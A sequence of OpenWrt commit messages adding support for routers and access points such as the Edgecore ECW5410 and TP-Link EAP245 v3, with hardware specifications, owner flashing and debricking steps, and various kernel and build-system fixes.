This patch adds support for the Edgecore ECW5211 indoor AP.
Specification:
- SoC: Qualcomm Atheros IPQ4018 ARMv7-A 4x Cortex A-7
- RAM: 256MB DDR3
- NOR Flash: 16MB SPI NOR
- NAND Flash: 128MB MX35LFxGE4AB SPI-NAND
- Ethernet: 2 x 1G via Q8075 PHY connected to ethernet adapter via PSGMII (802.3af POE IN on eth0)
- USB: 1 x USB 3.0 SuperSpeed
- WLAN: Built-in IPQ4018 (2x2 802.11bng, 2x2 802.11 acn)
- CC2540 BLE connected to USB 2.0 port
- Atmel AT97SC3205T I2C TPM
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
This patch adds support for the Edgecore ECW5410 indoor AP.
Specification:
- SoC: Qualcomm Atheros IPQ8068 ARMv7 2x Cortex A-15
- RAM: 256MB(225 usable) DDR3
- NOR Flash: 16MB SPI NOR
- NAND Flash: 128MB S34MS01G2 Parallel NAND
- Ethernet: 2 x 1G via 2x AR8033 PHY-s connected directly to GMAC2 and GMAC3 via SGMII (802.3af POE IN on eth0)
- USB: 1 x USB 3.0 SuperSpeed
- WLAN: 2x QCA9994 AC Wawe 2 (1x 2GHz bgn, 1x 5GHz acn)
- CC2540 BLE
- UART console on RJ45 next to ethernet ports exposed.
Its Cisco pin compatible, 115200 8n1 baud.
Installation instructions:
Through stock firmware or initramfs.
1.Connect to console
2. Login with root account, if password is unknown then interrupt the boot with f and reset it in failsafe.
3. Transfer factory image
4. Flash the image with ubiformat /dev/mtd1 -y -f <your factory image path>
This will replace the rootfs2 with OpenWrt, if you are currently running from rootfs2 then simply change /dev/mtd1 to /dev/mtd0
Note
Initramfs:
1. Connect to console
2. Transfer the image from TFTP server with tftpboot,
or by using DHCP advertised image with dhcp command.
3. bootm
4. Run ubiformat /dev/mtd1
You need to interrupt the bootloader after rebooting and run:
run altbootcmd
This will switch your active rootfs partition to one you wrote to and boot from it.
So if rootfs1 is active, then it will change it to rootfs2.
This will format the rootfs2 partition, if your active partition is 2 then simply change /dev/mtd1 with /dev/mtd0
If you dont format the partition you will be writing too, then sysupgrade will find existing UBI rootfs and kernel volumes and update those.
This will result in wrong ordering and OpenWrt will panic on boot.
5. Transfer sysupgrade image
6. Flash with sysupgrade -n.
Note that sysupgrade will write the image to rootfs partition that is not currently in use.
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
This imports the patch that adds bootargs-append support from IPQ40xx.
This way we can append additional boot arguments from DTS instead of only being able to overwrite them.
This way dual firmware devices can use the rootfs number that bootloader passes to decide from what to boot.
But we still need to append console info and ubi root info.
This is used by Edgecore ECW5410.
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
IPQ806x series also has a GSBI1 with UART and I2C peripherals, so lets add the node for it.
Its needed for Edgecore ECW5410 which uses the UART from GSBI1 as second UART for Bluetooth.
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
Its needed for Edgecore ECW5410 which does not use QCA8337 switch,
but rather 2x AR8033 PHY-s directly connected to GMAC-s.
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
This enables the ipq-wifi package to be used on IPQ806x target.
Its needed for boards using a different BDF than one shipped in the upstream board-2.bin.
Currently needed for Edgecore ECW5410.
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
Router and Movie "keys" are actually switches for both devices
according to the manual. This has been properly implemented in ar71xx,
but overlooked when porting to ath79.
Fixes: 480bf28273 ("ath79: add support for Buffalo WZR-HP-AG300H")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The hardware of this device seems to be identical to WZR-HP-AG300H.
It was already implemented as a clone in ar71xx.
Specification:
- 680 MHz CPU (Qualcomm Atheros AR7161)
- 128 MiB RAM
- 32 MiB Flash
- WiFi 5 GHz a/n
- WiFi 2.4 GHz b/g/n
- 5x 1000Base-T Ethernet
- 1x USB 2.0
Installation of OpenWRT from vendor firmware:
- Connect to the Web-interface at http://192.168.11.1
- Go to “Administration” → “Firmware Upgrade”
- Upload the OpenWrt factory image
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The Buffalo devices in ath79 share their image generation code,
so let's create a shared Device definition for them.
Since most of them use BUFFALO_HWVER := 3, this is moved as
default to the shared definition as well.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The tp-link safeloader devices typically contain a partition
"default-mac" which stores the MAC addresses. It is followed by other
partitions containing device info, like
{"default-mac", 0x610000, 0x00020},
{"pin", 0x610100, 0x00020},
{"product-info", 0x611100, 0x01000},
In DTS, we typically assign a 0x10000 sized partition for these,
which is mostly labelled "mac" or "info". In rarer cases, the
partitions have been enclosed in a larger "tplink" or "config"
partition.
However, when comparing different devices, the implementation appears
relatively arbitrary at the moment.
Thus, this PR aims at harmonizing these partitions by always using
the name "info" for the DTS partition containing "default-mac".
"info" is preferred over "mac" as we never just have "default-mac"
alone, but always some other device-info partitions as well.
While at it, this also establishes a similar partitioning for the
few devices where the "info" partitions are part of a bigger
unspecific "config" partition or similar.
Besides the harmonization itself, this also allows to merge a few
cases in 11-ath10k-caldata.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
vconfig has been disabled by default since 2015 [1] and there are
no remaining uses in entire OpenWrt trunk. However, we still set up
a specific name_type for it during boot.
While this setup is properly implemented to be only triggered when
vconfig is present, it still seems anachronistic and unnecessary
to set up a standard for a tool that is not used anymore.
Therefore, this removes the set_name_type initialization and leaves
it for those people actually using the tool to configure it as needed.
[1] 899a23227e ("busybox: improve applets & deprecate ifconfig, route")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Do some minor empty lines cleanup, i.e. remove those at EOF and
add some for cosmetic reasons/consistency.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This reverts commit 34cc2c9a99.
The reverted shell code is a very poor reimplementation of the existing
package-metadata.pl usergroup subcommand and the resulting file is not
used anymore, so drop this code.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Use the prepared .packageusergroup file to lookup user and group names
when processing the passed file mode.
Also replace the various subshell/cut invocations with a sequence of
standard variable interpolations which fixes paths with embedded colons
as a side-effect.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
This file can be subsequently used to resolve symbolic user or group names
to their numeric IDs when packing ipk archives.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
With the introduction of `./tmp/userids` the `ipkg-build` script can now
resolve values of "PKG_FILE_MODES", allowing users to set names rather
than numeric values.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Multiple packages contain a USERID variable defining required user and
group for the package to run. With the recent addition of
"PKG_FILE_MODES" it is possible to define user and group of specific
files, replacing (possibly insecure) post-inst scripts. These modes are
set during build time and put directly into the packages.
To allow user and group names rather than the numeric values, a mapping
like `/etc/passwd` is required by the `ipkg-build` script, mapping names
defined in "PKG_FILE_MODES" to a numeric value, as the build system does
not create any users during build.
This commit adds a single line to the `prepare-tmpinfo` target, so that
everytime the feeds are updated the *passwd like* content of
`./tmp/userids` is updated.
Signed-off-by: Paul Spooren <mail@aparcar.org>
This adds support for the RTL838x Architecture.
SoCs of this type are used in managed and un-managed Switches and Routers
with 8-28 ports. Drivers are provided for SoC initialization, GPIOs, Flash,
Ethernet including a DSA switch driver and internal and external PHYs used
with these switches.
Supported SoCs:
RTL8380M
RTL8381M
RTL8382M
The kernel will also boot on the following RTL839x SoCs, however driver
support apart from spi-nor is missing:
RTL8390
RTL8391
RTL8393
The following PHYs are supported:
RTL8214FC (Quad QSGMII multiplexing GMAC and SFP port)
RTL8218B internal: internal PHY of the RTL838x chips
RTL8318b external (QSGMII 8-port GMAC phy)
RTL8382M SerDes for 2 SFP ports
Initialization sequences for the PHYs are provided in the form of
firmware files.
Flash driver supports 3 / 4 byte access
DSA switch driver supports VLANs, port isolation, STP and port mirroring.
The ALLNET ALL-SG8208M is supported as Proof of Concept:
RTL8382M SoC
1 MIPS 4KEc core @ 500MHz
8 Internal PHYs (RTL8218B)
128MB DRAM (Nanya NT5TU128MB)
16MB NOR Flash (MXIC 25L128)
8 GBEthernet ports with one green status LED each (SoC controlled)
1 Power LED (not configurable)
1 SYS LED (configurable)
1 On-Off switch (not configurable)
1 Reset button at the right behind right air-vent (not configurable)
1 Reset button on front panel (configurable)
12V 1A barrel connector
1 serial header with populated standard pin connector and with markings
GND TX RX Vcc(3.3V), connection properties: 115200 8N1
To install, upload the sysupgrade image to the OEM webpage.
Signed-off-by: Birger Koblitz <git@birger-koblitz.de>
Add support for uimage headers from ALLNET and provide support for the
SG8208M and SG8310PM devices' magic bytes.
Signed-off-by: Birger Koblitz <git@birger-koblitz.de>
This target has not been updated to 5.4 yet, and the only person
trying it (Koen) decided to retreat based on the following reasons:
- The target is not DT-aware at all
- The huge amount of effort required
- The SoC itself reached EoL at Cavium for some time now
- Upstream removed some important parts as it's also slowly getting EoL
over there
- The commercial product that used this will fade out shortly
- The amount of download for this binary suggest that the target is not
that popular
Since nobody has picked up the work since then, and this is the last
remaining 4.19-only target, finally drop it now.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
On the Turris Omnia 2019, u-boot environment is located at 0xF0000, instead
of 0xC0000. The switch happened with u-boot-omnia package version 2019-04-2
(May 10, 2019).
Check the installed u-boot release, and set the default accordingly.
Signed-off-by: Klaus Kudielka <klaus.kudielka@gmail.com>
[bump PKG_RELEASE, use lower case for hex offset]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
this board has a pcie to sata bridge connected to pcie2 with a
separated pcie reset on gpio7.
add reset-gpios and corresponding pinctrl nodes into dts.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Backport upstream changes to initialize GDM settings and reset PPE
Allow GMAC to recognize the special tag to fix PPE packet parsing
Improve GRO performance by passing PPE L4 hash as skb hash
Signed-off-by: Felix Fietkau <nbd@nbd.name>
All modifications made by update_kernel.sh/no manual intervention needed
Build-tested: x86_64
Run-tested: ipq806x (R7800)
No dmesg regressions, everything functional
Signed-off-by: John Audia <graysky@archlinux.us>
TP-Link EAP225-Wall v2 is an AC1200 (802.11ac Wave-2) wall plate access
point. UART access and debricking require fine soldering.
The device was kindly provided for porting by Stijn Segers.
Device specifications:
* SoC: QCA9561 @ 775MHz
* RAM: 128MiB DDR2
* Flash: 16MiB SPI-NOR (GD25Q127CSIG)
* Wireless 2.4GHz (SoC): b/g/n, 2x2
* Wireless 5Ghz (QCA9886): a/n/ac, 2x2 MU-MIMO
* Ethernet (SoC): 4× 100Mbps
* Eth0 (back): 802.3af/at PoE in
* Eth1, Eth2 (bottom)
* Eth3 (bottom): PoE out (can be toggled by GPIO)
* One status LED
* Two buttons (both work as failsafe)
* LED button, implemented as KEY_BRIGHTNESS_TOGGLE
* Reset button
Flashing instructions, requires recent firmware (tested on 1.20.0):
* ssh into target device and run `cliclientd stopcs`
* Upgrade with factory image via web interface
Debricking:
* Serial port can be soldered on PCB J4 (1: TXD, 2: RXD, 3: GND, 4: VCC)
* Bridge unpopulated resistors R162 (TXD) and R165 (RXD)
Do NOT bridge R164
* Use 3.3V, 115200 baud, 8n1
* Interrupt bootloader by holding CTRL+B during boot
* tftp initramfs to flash via sysupgrade or LuCI web interface
MAC addresses:
MAC address (as on device label) is stored in device info partition at
an offset of 8 bytes. ath9k device has same address as ethernet, ath10k
uses address incremented by 1.
From OEM ifconfig:
br0 Link encap:Ethernet HWaddr 50:...:04
eth0 Link encap:Ethernet HWaddr 50:...:04
wifi0 Link encap:UNSPEC HWaddr 50-...-04-...
wifi1 Link encap:UNSPEC HWaddr 50-...-05-...
Signed-off-by: Sander Vanheule <sander@svanheule.net>
[fix IMAGE_SIZE]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
HooToo HT-TM05 and RAVPower RP-WD03 have almost identical hardware
(except for RAM size) and are from the same vendor (SunValley).
Create a common DTSI file for them.
Suggested-by: Russell Morris <rmorris@rkmorris.us>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The baud rate for the RAVPower RP-WD03 is 57600, not 115200.
Since this is the default from mt7620n.dtsi, the chosen node can
simply be removed from the device DTS.
Fixes: 5ef79af4f8 ("ramips: add support for Ravpower WD03")
Suggested-by: Russell Morris <rmorris@rkmorris.us>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
According to the User Manual, there is a "Wi-Fi LED" with blue and
green colors, doing the following by default:
Flashing Blue: System loading
Solid Blue: System loaded
Flashing Green: Connecting to the Internet
Solid Green: Connected to the Internet
According to this vendor behavior, we keep refer to the LED as "wifi"
but implement the according default behavior as in OEM firmware.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
MAC assignment based on vendor firmware:
2.4 GHz *:b4 (factory 0x04)
LAN/label *:b4 (factory 0x28)
WAN *:b5 (factory 0x2e)
The previously used location 0x4000 for ethernet is actually empty.
Therefore, fix the ethernet MAC address and set it as label-mac-address.
Fixes: 5ef79af4f8 ("ramips: add support for Ravpower WD03")
Suggested-by: Russell Morris <rmorris@rkmorris.us>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The RAVPower RP-WD03 is a battery powered router, with an Ethernet and
USB port. Due due a limitation in the vendor supplied U-Boot bootloader,
we cannot exceed a 1.5 MB kernel size, as is the case with recent builds
(i.e. post v19.07). This breaks both factory and sysupgrade images.
To address this, use the lzma loader (loader-okli) to work around this
limitation.
The improvements here also address the "misplaced" U-Boot environment
partition, which is located between the kernel and rootfs in the stock
image / implementation. This is addressed by making use of mtd-concat,
maximizing space available in the booted image.
This will make sysupgrade from earlier versions impossible.
Changes are based on the recently supported HooToo HT-TM05, as the
hardware is almost identical (except for RAM size) and is from the same
vendor (SunValley). While at it, also change the SPI frequency
accordingly.
Installation:
- Download the needed OpenWrt install files, place them in the root
of a clean TFTP server running on your computer. Rename the files as,
- openwrt-ramips-mt7620-ravpower_rp-wd03-squashfs-kernel.bin => kernel
- openwrt-ramips-mt7620-ravpower_rp-wd03-squashfs-rootfs.bin => rootfs
- Plug the router into your computer via Ethernet
- Set your computer to use 10.10.10.254 as its IP address
- With your router shut down, hold down the power button until the first
white LED lights up.
- Push and hold the reset button and release the power button. Continue
holding the reset button for 30 seconds or until it begins searching
for files on your TFTP server, whichever comes first.
- The router (10.10.10.128) will look for your computer at 10.10.10.254
and install the two files. Once it has finished installation, it will
automatically reboot and start up OpenWrt.
- Set your computer to use DHCP for its IP address
Notes:
- U-Boot environment can be modified, u-boot-env is preserved on initial
install or sysupgrade
- mtd-concat functionality is included, to leave a "hole" for u-boot-env,
combining the OEM kernel and rootfs partitions
Most of the changes in this commit are the work of Russell Morris (as
credited below), I only wrapped them up and added compat-version.
Thanks to @mpratt14 and @xabolcs for their help getting the lzma loader
to work!
Fixes: 5ef79af4f8 ("ramips: add support for Ravpower WD03")
Suggested-by: Russell Morris <rmorris@rkmorris.us>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Enable the VLAN tag offloading mechanism for RGMII single-port devices.
This allows those devices to use 802.1Q VLANs on the ethernet port.
Previously, RX frames were double tagged, as the RX TAG removal flag was
not enabled and an additional 802.1Q header was inserted elsewhere in
the code.
On the TX side, tagging was completely not present for single-port
devices. Enable tagging if an 802.1Q frame should be transmitted and
disable the default tagging mechanism for single-port devices.
Tested on Aruba AP-303
Signed-off-by: David Bauer <mail@david-bauer.net>
Add support for per-BSS airtime weight configuration. This allows to set
a airtime weight per BSS as well as a ratio limit based on the weight.
Support for this feature is only enabled in the full flavors of hostapd.
Consult the hostapd.conf documentation (Airtime policy configuration)
for more information on the inner workings of the exposed settings.
Signed-off-by: David Bauer <mail@david-bauer.net>
Set the default state for LEDs to off. When a trigger is set, the
trigger will turn the LED automatically on.
Currently LEDs might stay on, e.g. when the LED trigger is set to a
netdev trigger and the interface is never activated or the 'none'
trigger is selected without setting the 'default' option to 0 and it's
set for the LED indicating the system running state.
Using off as a default value is also consistent with the documentation
in the OpenWrt wiki.
Signed-off-by: David Bauer <mail@david-bauer.net>
TITLE is "NFS4 filesystem client support" (Line 428)
but the description is "Kernel module for NFS v4 support" (Line 438).
Use "Kernel module for NFS v4 client support" on line 438.
Signed-off-by: Bob Cai <1119283622@qq.com>
[commit title/message facelift]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
vconfig is no more installed by default to a firmware image. So, replace
vconfig calls for VLAN subinterface configuration by coresponding
ip-link commands.
Also drop few useless comments from the preinit hook script, while we
are at it.
I have no chance to test this fix since I have no board with a subject
switch IC, but this is still better then call an utility that is
unavailable in the firmware for years.
Signed-off-by: Sergey Ryazanov <ryazanov.s.a@gmail.com>
[use documented syntax for ip link add]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Since the introduction of fakeroot support, wrapped SDK executables might
be invoked from a shell that has libfakeroot.so preloaded.
Since we're using preloading as well in order to mangle argv[0] when
invoking the shipped ELF interpreter directly, we must take care of
preloading the already preloaded libraries as well, to avoid invoked
programs losing their fakeroot capabilities.
Extend the bundle-libraries.sh script to take any existing $LD_PRELOAD
into account when invoking the target ELF executable with a preloaded
runas.so library.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
The config symbol was introduced in drivers, but not added to
generic kernel config files. This will halt build asking for the
value.
Fix it by adding the value (setting it to disabled).
Fixes: 3f7047db7a ("kernel: mtdsplit: support ELF loader splitting")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ipc: split into separate files per-platform
This is in preparation for FreeBSD support, which I had hoped to have this
release, but we're still waiting on some tooling fixes, so hopefully next
wg(8) will support that. Either way, the code base is now a lot more amenable
to adding more kernel platform support.
* man: wg-quick: use syncconf instead of addconf for strip example
Simple documentation fix.
* pubkey: isblank is a subset of isspace
* ctype: use non-locale-specific ctype.h
In addition to ensuring that isalpha() and such isn't locale-specific, we also
make these constant time, even though we're never distinguishing between bits
of a secret using them. From that perspective, though, this is markedly better
than the locale-specific table lookups in glibc, even though base64 characters
span two cache lines and valid private keys must hit both. This may be useful
for other projects too: https://git.zx2c4.com/wireguard-tools/tree/src/ctype.h
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
TP-Link EAP245 v3 is an AC1750 (802.11ac Wave-2) ceiling mount access
point. UART access (for debricking) requires non-trivial soldering.
Specifications:
* SoC: QCA9563 (CPU/DDR/AHB @ 775/650/258 MHz)
* RAM: 128MiB
* Flash: 16MiB SPI-NOR
* Wireless 2.4GHz (SoC): b/g/n 3x3
* Wireless 5GHz (QCA9982): a/n/ac 3x3 with MU-MIMO
* Ethernet (QCA8337N switch): 2× 1GbE, ETH1 (802.3at PoE) and ETH2
* Green and amber status LEDs
* Reset switch (GPIO, available for failsafe)
Flashing instructions:
All recent firmware versions (latest is 2.20.0), can disable firmware
signature verification and use a padded firmware file to flash OpenWrt:
* ssh into target device and run `cliclientd stopcs`
* upload factory image via web interface
The stopcs-method is supported from firmware version 2.3.0. Earlier
versions need to be upgraded to a newer stock version before flashing
OpenWrt.
Factory images for these devices are RSA signed by TP-Link. While the
signature verification can be disabled, the factory image still needs to
have a (fake) 1024 bit signature added to pass file checks.
Debricking instructions:
You can recover using u-boot via the serial port:
* Serial port is available from J3 (1:TX, 2:RX, 3:GND, 4:3.3V)
* Bridge R237 to connect RX, located next to J3
* Bridge R225 to connect TX, located inside can on back-side of board
* Serial port is 115200 baud, 8n1, interrupt u-boot by holding ctrl+B
* Upload initramfs with tftp and upgrade via OpenWrt
Device mac addresses:
Stock firmware has the same mac address for 2.4GHz wireless and
ethernet, 5GHz is incremented by one. The base mac address is stored in
the 'default-mac' partition (offset 0x90000) at an offset of 8 bytes.
ART blobs contain no mac addresses.
From OEM ifconfig:
ath0 Link encap:Ethernet HWaddr 74:..:E2
ath10 Link encap:Ethernet HWaddr 74:..:E3
br0 Link encap:Ethernet HWaddr 74:..:E2
eth0 Link encap:Ethernet HWaddr 74:..:E2
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Tested-by: Stijn Tintel <stijn@linux-ipv6.be>
TP-Link has introduced a compatibility level to prevent certain
downgrades. This information is stored in the soft-version partition,
changing the data length from 0xc to 0x10.
The compatibility level doesn't change frequently. For example, it has
the following values for the EAP245v3 (released 2018-Q4):
* FW v2.2.0 (2019-05-30): compat_level=0
* FW v2.3.0 (2019-07-31): compat_level=0
* FW v2.3.1 (2019-10-29): compat_level=1
* FW v2.20.0 (2020-04-23): compat_level=1
Empty flash values (0xffffffff) are interpreted as compat_level=0.
If a firmware upgrade file has a soft-version block without
compatibility level (data length < 0x10), this is also interpreted as
compat_level=0.
By including a high enough compatibility level in factory images, stock
firmware can be convinced to accept the image. A compatibility level
aware firmware will keep the original value.
Example upgrade log of TP-Link EAP245v3 FWv2.3.0 to FWv2.20.0:
[NM_Debug](nm_fwup_verifyFwupFile) 02073: curSoftVer:2.3.0 Build
20190731 Rel. 51932,newSoftVer:2.20.0 Build 20200423 Rel. 36779
...
AddiHardwareVer check: NEW(0x1) >= CUR(0x0), Success.
...
[NM_NOTICE](updateDataToNvram) 00575: Restore old additionalHardVer:
0x0.(new 0x1)
[NM_NOTICE](updateDataToNvram) 00607: PTN 07: name = soft-version,
base = 0x00092000, size = 0x00000100 Bytes, upDataType = 1,
upDataStart = 7690604b, upDataLen = 00000018
[NM_Debug](updateDataToNvram) 00738: PTN 07: write bytes = 000002eb
Other firmware upgrades have been observed to modify the compabitility
stored level (e.g. TP-Link EAP225-Outdoor FWv1.4.1 to FWv1.7.0).
Therefore, it seems to be the safest option to set the OpenWrt
compatibility level to the highest known value instead of the highest
possible value (0xfffffffe), to ensure users do not get unexpectedly
refused firmware upgrades when using a device reverted back to stock.
To remain compatible with existing devices and not produce different
images, the image builder doesn't store a compatibility level if it is
zero.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
The soft-version partition actually contains a header and trailing data:
* header: {data length, [zero]}
* data: {version, bcd encoded date, revision}
The data length is currently treated as a magic number, but should
contain the length of the partition data.
This header is also present the following partitions (non-exhaustive):
* string-based soft-version
* support-list
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Enabled the ELF firmware partition splitter 4.19 and 5.4 in preparation
for the TP-Link EAP245v3 device support.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
To parse the ELF kernel loader, a small ELF parser is used that can
handle both ELF32 or ELF64 class loaders. The splitter assumes that the
kernel is always located before the rootfs, whether it is embedded in
the loader or not. If the kernel is located after the rootfs on the
firmware partition, then the rootfs splitter will include it in the
dynamically created rootfs_data partition and the kernel will be
corrupted.
The kernel image is preferably embedded inside the ELF loader, so the
end of the loader equals the end of the kernel partition. This is due to
the way mtd_find_rootfs_from searches for the the rootfs:
- if the kernel image is embedded in the loader, the appended rootfs may
follow the loader immediately, within the same erase block.
- if the kernel image is not embedded in the loader, but placed at some
offset behind the loader (OKLI-style loader), the rootfs must be
aligned to an erase-block after the loader and kernel image.
In case section header table is empty, determine the elf loader size by
finding the end of the last segment, as defined by the program header
table.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Currently the global variable PKG_FILE_MODES is used for all ipkg
creations. This works for Makefiles which output a single package, or
variants of a single package.
But if a Makefile outputs multiple packages that each contain different
files, setting PKG_FILE_MODES causes build failure when any of the files
in the variable do not exist in the folder that is currently being
packaged.
Example:
/openwrt/staging_dir/host/bin/fakeroot -l /openwrt/staging_dir/host/lib/libfakeroot.so -f /openwrt/staging_dir/host/bin/faked /openwrt/scripts/ipkg-build -m "/usr/lib/mariadb/plugin/auth_pam_tool_dir:root:376:0750" /openwrt/build_dir/target-mips_24kc_musl/mariadb-10.4.13/ipkg-mips_24kc/mariadb-server-plugin-disks /openwrt/bin/packages/mips_24kc/packages
+chown: cannot access '/openwrt/build_dir/target-mips_24kc_musl/mariadb-10.4.13/ipkg-mips_24kc/mariadb-server-plugin-disks//usr/lib/mariadb/plugin/auth_pam_tool_dir': No such file or directory
This commit changes the file mode handling a bit. The file mode can now
be set either globally via PKG_FILE_MODES (no behavior change) or on a
per-package basis via FILE_MODES. This way specific file modes can be
used for any particular package.
This behavior is already used for other OpenWrt variables, hence it is
familiar:
PKG_MAINTAINER vs MAINTAINER
PKG_SOURCE_SUBDIR vs SUBDIR
PKG_LICENSE vs LICENSE
...
Signed-off-by: Sebastian Kemper <sebastian_ml@gmx.net>
Don't use bash syntax, because /bin/sh is used here.
Signed-off-by: Martin Schiller <ms@dev.tdt.de>
[bump PKG_RELEASE]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Some environments, e.g. first gen WSL, do not support SysV IPC.
Enforce the use of TCP transport instead which should be universally
available.
Fixes: FS#3317
Ref: https://github.com/microsoft/WSL/issues/4067
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Minor cleanup and code reorganization, along with a change to not disable
offload anymore when a tkip or sw crypto key is added
Signed-off-by: Felix Fietkau <nbd@nbd.name>
* compat: backport kfree_sensitive and switch to it
* netlink: consistently use NLA_POLICY_EXACT_LEN()
* netlink: consistently use NLA_POLICY_MIN_LEN()
* compat: backport NLA policy macros
Backports from upstream changes.
* peerlookup: take lock before checking hash in replace operation
A fix for a race condition caught by syzkaller.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
3d9bd73 utils: fix check_pid_path to work with deleted file as well
330f403 vlan: initialize device ifname earlier at creation time
c057e71 device: do not check state from within device_init
cb0c07b system-dummy: fix resolving ifindex
ccd9ddc bridge: add support for turning on vlan_filtering
82bcb64 bridge: add support for adding vlans to a bridge
0e8cea0 bridge: add support for VLAN filtering
6086b63 config: enable bridge vlan filtering by default for bridges that define VLANs
ac0710b device: look up full device name before traversing vlan chain
e32e21e bridge: flush vlan list on bridge free
645ceed interface-ip: clear host bits of the device prefix
d7b614a netifd-wireless: parse 'osen' encryption
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The uci-default mechanism to update the compat-version was only
meant for early DSA-adopters, which should have updated by now.
Remove this workaround again in order to prevent the intended
experiences for all the other people.
This reverts:
a9703db720 ("mvebu: fix sysupgrade experience for early DSA-adopters")
86c89bf5e8 ("kirkwood: fix sysupgrade experience for early DSA-adopters")
Partially reverted:
1eac573b53 ("ramips: mt7621: implement compatibility version for DSA migration")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This reverts commit e81e625ca3.
This was meant just for early DSA-adopters. Those should have
updated by now, remove it so future updaters get the intended
experience.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The Ed25519 key pairs are much shorter than RSA pairs and are supported
by default in OpenSSH. Looking at websites explaining how to create new
SSH keys, many suggest using Ed25519 rather than RSA, however consider
the former as not yet widely established. OpenWrt likely has a positive
influence on that development.
As enabling Ed25519 is a compile time option, it is currently not
possible to install the feature via `opkg` nor select that option in an
ImageBuilder.
Due to the size impact of **12kB** the option should only be enabled for
devices with `!SMALL_FLASH`.
This approach seems cleaner than splitting `dropbear` into two packages
like `dropbear` and `dropbear-ed25519`.
Signed-off-by: Paul Spooren <mail@aparcar.org>
When the libmagic from the file package in the packages feed was also
compiled and provided its libmagic.so file, util-linux tried to link
against it. Avoid this by explicitly disable libmagic support.
This fixes the following build error:
Package more is missing dependencies for the following libraries:
libmagic.so.1
Fixes: 36d9ed360a ("util-linux: update to 2.36")
Acked-by: Sebastian Kemper <sebastian_ml@gmx.net>
Signed-off-by: Rosen Penev <rosenp@gmail.com>
[Add commit description]
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This also sets the ABI_VERSION as this is a versioned shared library.
The ipk sizes for mips_24Kc change like this:
old:
jansson_2.12-1_mips_24kc.ipk 18.692
new:
jansson4_2.13.1-1_mips_24kc.ipk 19.171
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Manually merged:
hack-5.4
230-openwrt_lzma_options.patch
bcm27xx
950-0283-hid-usb-Add-device-quirks-for-Freeway-Airmouse-T3-an.patch
x86
011-tune_lzma_options.patch
Remove upstreamed patches in collaboration with Ansuel Smith:
ipq806x
093-1-v5.8-ipq806x-PCI-qcom-Add-missing-ipq806x-clocks-in-PCIe-driver.patch
093-2-v5.8-ipq806x-PCI-qcom-Change-duplicate-PCI-reset-to-phy-reset.patch
093-3-v5.8-ipq806x-PCI-qcom-Add-missing-reset-for-ipq806x.patch
All other modifications made by update_kernel.sh
Build-tested: bcm27xx/bcm2708, ipq806x, x86/64
Run-tested: ipq806x (R7800), x86/64
No dmesg regressions, everything functional
Signed-off-by: John Audia <graysky@archlinux.us>
[update commit message/tested]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Devices with 4M flash are not built be default for 20.xx anymore.
Building them with buildbot settings does not work anymore anyway.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This applies the vendor_model scheme for this target as well, so
naming is consistent throughout supported targets.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
AR2315 Ethernet driver pass NULL instead of a real device pointer to DMA
(un-)map calls. With kernel version 5.4 such behaviour causes a kernel
panic. Fix this issue by preserving device pointer during the probe
procedure and pass it to each skb data DMA (un-)map call.
Signed-off-by: Sergey Ryazanov <ryazanov.s.a@gmail.com>
Rework ethernet supported link modes to linkmode bitmask.
This is needed to suppress compilation errors:
drivers/net/ethernet/atheros/ar231x/ar231x.c:1153:20: ...
error: assignment to expression with array type
phydev->supported &= (SUPPORTED_10baseT_Half
^~
Signed-off-by: Sergey Ryazanov <ryazanov.s.a@gmail.com>
[cut out of bigger patch, adjust commit title/message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Kernel commit e7bfb3fdbde3 ("mtd: Stop updating erase_info->state
and calling mtd_erase_callback()") removed erase_info->state
updates and calls of mtd_erase_callback().
